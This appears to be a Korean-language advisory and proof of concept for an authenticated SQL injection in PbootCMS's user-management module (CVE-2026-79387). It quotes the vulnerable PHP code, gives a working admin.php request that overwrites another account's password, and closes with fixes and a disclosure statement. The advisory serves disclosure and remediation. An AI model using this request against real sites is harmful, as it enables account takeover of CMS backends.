
CVE-2026-79387에 대한 개념 증명(PoC)으로, PbootCMS 사용자 관리에서 발생하는 인증된 SQL 인젝션으로 임의 필드 업데이트 및 계정 탈취가 가능합니다.
| 필드 | 세부 정보 |
|---|
| CVE ID | CVE-2026-79387 |
| 제품 | PbootCMS |
| 영향을 받는 버전 | 3.2.0 – 3.2.5 및 이전 버전 가능성 있음 |
| 취약점 유형 | SQL 인젝션 (CWE-89) |
| 공격 경로 | 원격 (인증됨) |
| CVSS 심각도 | 높음 |
| 발견자 | JihaoLi |
| 공급업체 | https://www.pbootcms.com/ |
PbootCMS V3.2.5의 사용자 관리 모듈에 SQL 인젝션 취약점이 존재합니다. 이 취약점은 /apps/admin/controller/system/UserController.php(149행)의 mod() 메서드와 /apps/admin/model/system/UserModel.php의 modUser() 메서드에 있습니다.
field 매개변수는 화이트리스트 검증 없이 GET 요청을 통해 완전히 사용자에 의해 제어됩니다. value 매개변수도 동일하게 사용자에 의해 제어되며 SQL UPDATE 문에 직접 연결됩니다. 인증된 공격자는 field로 임의의 데이터베이스 열(예: password, username, status, role)을 지정하여 임의의 데이터 조작이 가능합니다.
// UserController.php - mod() 메서드
if (($field = get('field', 'var')) && ! is_null($value = get('value', 'var'))) {
if ($this->model->modUser($ucode, "$field='$value',update_user='" . session('username') . "'")) {
location(- 1);
}
}
$field와 $value는 $_GET 슈퍼글로벌에서 직접 가져와 샌드박스 처리, 화이트리스트, 매개변수화된 쿼리 없이 SQL 문자열에 연결됩니다. 이 문자열은 UserModel::modUser()에 전달되며, 이는 기본 Model::update() 메서드로 전달됩니다. 인수가 문자열(배열이 아님)이므로 checkKey() 필드 이름 검증을 우회하고 SET 절에 그대로 포함됩니다:
UPDATE ay_user SET <사용자 제어>= '<사용자 제어>', update_user='admin' WHERE ucode='<ucode>'
GET /admin.php?p=/User/mod&ucode=10002&field=password&value=<MD5>
→ UserController::mod()
→ UserModel::modUser($ucode, "password='<value>',update_user='admin'")
→ Model::table('ay_user')->where("ucode='$ucode'")->update($data_string)
→ SQL: UPDATE ay_user SET password='<value>',update_user='admin' WHERE ucode='10002'
인증된 공격자는 다음을 수행할 수 있습니다:
ucode=10001 제외).value 매개변수는 작은따옴표 이스케이프를 허용하여 스택 기반 또는 항상 참(tautology) 기반 공격을 가능하게 합니다.이는 계정 탈취 및 CMS 백엔드의 완전한 제어로 이어집니다.
192.168.1.104, Apache/PHP 7.2.1/SQLite에서 테스트됨)PbootCMS 관리자 대시보드에 접속하여 기본 admin 계정으로 로그인합니다.

시스템 관리 → 사용자 관리 → 사용자 추가로 이동합니다. 새 사용자를 생성합니다:
admin2admin
사용자 목록에서 ucode=10002인 admin2를 확인합니다:

새 브라우저 창을 엽니다. admin2로 비밀번호 123456을 사용하여 로그인을 시도합니다 — 실제 비밀번호가 admin이므로 실패합니다:

이미 로그인된 관리자 브라우저를 사용하여 다음으로 이동합니다:
http://192.168.1.104/PbootCMS/admin.php?p=/User/mod&ucode=10002&field=password&value=14e1b600b1fd579f47433b88e8d85291
14e1b600b1fd579f47433b88e8d85291는123456의 MD5 해시입니다.
mod() 메서드는 인젝션을 실행하고 location(-1)을 통해 리디렉션합니다:

이제 admin2 / 123456으로 로그인을 시도합니다:

SQL 인젝션을 통해 비밀번호가 성공적으로 변경되었습니다. 사용자는 이제 새 비밀번호로 로그인되어 완전한 계정 탈취를 확인합니다.

update()가 문자열 인수를 받으면 이스케이프 없이 SET 절에 그대로 사용됩니다:
final public function update($data = null)
{
if (is_array($data)) {
// 배열 경로: checkKey()가 필드 이름 검증
...
} else {
// 문자열 경로: 검증 전혀 없음
$update_string = $data;
}
$this->sql['value'] = $update_string;
$sql = $this->buildSql($this->updateSql);
return $this->getDb()->amd($sql); // 직접 실행, 준비된 문 없음
}
field 매개변수에 대한 화이트리스트 검증 — 알려진 열 이름(status, username, realname, password)만 허용.$value를 샌드박스 처리하여 따옴표 탈출 방지.field가 password인 경우 저장 전에 값에 encrypt_string() 적용.mod()의 "단일 필드 수정" 분기는 유효한 CSRF 토큰과 역할 수준 권한 검사가 필요.공개: 이 취약점은 공급업체에 책임 있게 공개되었습니다. 영향을 받는 버전을 실행 중인 경우 즉시 업데이트하고 모든 백엔드 계정을 감사하십시오.